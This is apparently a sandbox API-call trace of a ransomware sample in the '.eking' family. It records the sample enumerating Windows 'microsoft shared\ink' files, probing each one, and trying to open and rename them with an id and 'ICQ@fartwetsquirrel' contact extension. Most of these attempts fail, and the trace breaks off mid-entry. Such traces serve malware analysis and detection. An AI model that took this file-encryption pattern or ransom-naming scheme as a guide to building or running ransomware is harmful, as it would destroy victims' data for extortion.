[0286.467] CloseHandle (hObject=0x2fc) returned 1 [0286.467] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\es-MX\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\es-mx\\tipresx.dll.mui")) returned 0x20 [0286.468] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\es-MX\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\es-mx\\tipresx.dll.mui")) returned 0x20 [0286.468] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\es-MX\\tipresx.dll.mui.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\es-mx\\tipresx.dll.mui.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0286.468] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\es-MX\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\es-mx\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0286.468] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\et-EE\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\et-ee\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0286.468] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x324f940 | out: lpFileSize=0x324f940*=10752) returned 1 [0286.468] CloseHandle (hObject=0x2fc) returned 1 [0286.469] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\et-EE\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\et-ee\\tipresx.dll.mui")) returned 0x20 [0286.469] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\et-EE\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\et-ee\\tipresx.dll.mui")) returned 0x20 [0286.469] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\et-EE\\tipresx.dll.mui.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\et-ee\\tipresx.dll.mui.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0286.469] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\et-EE\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\et-ee\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0286.469] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fi-FI\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fi-fi\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0286.470] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x324f940 | out: lpFileSize=0x324f940*=10240) returned 1 [0286.470] CloseHandle (hObject=0x2fc) returned 1 [0286.470] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fi-FI\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fi-fi\\tipresx.dll.mui")) returned 0x20 [0286.470] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fi-FI\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fi-fi\\tipresx.dll.mui")) returned 0x20 [0286.470] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fi-FI\\tipresx.dll.mui.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fi-fi\\tipresx.dll.mui.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0286.470] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fi-FI\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fi-fi\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0286.471] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0286.472] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x324f940 | out: lpFileSize=0x324f940*=1600388) returned 1 [0286.472] CloseHandle (hObject=0x2fc) returned 1 [0286.472] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi")) returned 0x20 [0286.472] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0 [0286.472] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi.id[b4197730-2888].[icq@fartwetsquirrel].eking"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi")) returned 0 [0286.472] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickLearningWizard.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flicklearningwizard.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0286.473] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x324f940 | out: lpFileSize=0x324f940*=804864) returned 1 [0286.473] CloseHandle (hObject=0x2fc) returned 1 [0286.473] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickLearningWizard.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flicklearningwizard.exe")) returned 0x20 [0286.473] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickLearningWizard.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flicklearningwizard.exe")) returned 0x20 [0286.473] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickLearningWizard.exe.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flicklearningwizard.exe.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0286.473] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickLearningWizard.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flicklearningwizard.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0286.473] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fr-CA\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fr-ca\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0286.474] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x324f940 | out: lpFileSize=0x324f940*=11264) returned 1 [0286.474] CloseHandle (hObject=0x2fc) returned 1 [0286.474] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fr-CA\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fr-ca\\tipresx.dll.mui")) returned 0x20 [0286.474] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fr-CA\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fr-ca\\tipresx.dll.mui")) returned 0x20 [0286.474] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fr-CA\\tipresx.dll.mui.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fr-ca\\tipresx.dll.mui.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0286.474] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fr-CA\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fr-ca\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0286.474] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fr-FR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fr-fr\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0286.475] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x324f940 | out: lpFileSize=0x324f940*=11264) returned 1 [0286.475] CloseHandle (hObject=0x2fc) returned 1 [0286.475] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fr-FR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fr-fr\\tipresx.dll.mui")) returned 0x20 [0286.475] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fr-FR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fr-fr\\tipresx.dll.mui")) returned 0x20 [0286.475] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fr-FR\\tipresx.dll.mui.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fr-fr\\tipresx.dll.mui.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0286.475] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fr-FR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fr-fr\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0286.475] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0286.476] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x324f940 | out: lpFileSize=0x324f940*=1434) returned 1 [0286.476] CloseHandle (hObject=0x2fc) returned 1 [0286.476] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml")) returned 0x20 [0286.476] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml")) returned 0x20 [0286.476] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0286.477] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0286.477] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0286.477] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x324f940 | out: lpFileSize=0x324f940*=212) returned 1 [0286.477] CloseHandle (hObject=0x2fc) returned 1 [0286.477] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml")) returned 0x20 [0286.477] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml")) returned 0x20 [0286.478] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0286.478] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0286.478] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0286.478] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x324f940 | out: lpFileSize=0x324f940*=903) returned 1 [0286.478] CloseHandle (hObject=0x2fc) returned 1 [0286.478] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml")) returned 0x20 [0286.478] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml")) returned 0x20 [0286.479] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0286.479] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0286.479] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\insert.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0286.479] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x324f940 | out: lpFileSize=0x324f940*=215) returned 1 [0286.479] CloseHandle (hObject=0x2fc) returned 1 [0286.479] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\insert.xml")) returned 0x20 [0286.479] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\insert.xml")) returned 0x20 [0286.480] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\insert.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0286.480] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\insert.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0286.480] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0286.480] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x324f940 | out: lpFileSize=0x324f940*=384) returned 1 [0286.480] CloseHandle (hObject=0x2fc) returned 1 [0286.480] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml")) returned 0x20 [0286.481] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml")) returned 0x20 [0286.481] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0286.481] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0286.481] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0286.481] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x324f940 | out: lpFileSize=0x324f940*=903) returned 1 [0286.481] CloseHandle (hObject=0x2fc) returned 1 [0286.481] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml")) returned 0x20 [0286.482] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml")) returned 0x20 [0286.482] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0286.482] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0286.482] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0286.482] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x324f940 | out: lpFileSize=0x324f940*=392) returned 1 [0286.482] CloseHandle (hObject=0x2fc) returned 1 [0286.482] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml")) returned 0x20 [0286.483] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml")) returned 0x20 [0286.483] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0286.483] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0286.483] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0286.483] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x324f940 | out: lpFileSize=0x324f940*=693) returned 1 [0286.483] CloseHandle (hObject=0x2fc) returned 1 [0286.483] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml")) returned 0x20 [0286.484] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml")) returned 0x20 [0286.484] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0286.484] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0286.484] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0286.484] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x324f940 | out: lpFileSize=0x324f940*=3333) returned 1 [0286.485] CloseHandle (hObject=0x2fc) returned 1 [0286.485] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml")) returned 0x20 [0286.485] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml")) returned 0x20 [0286.485] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft 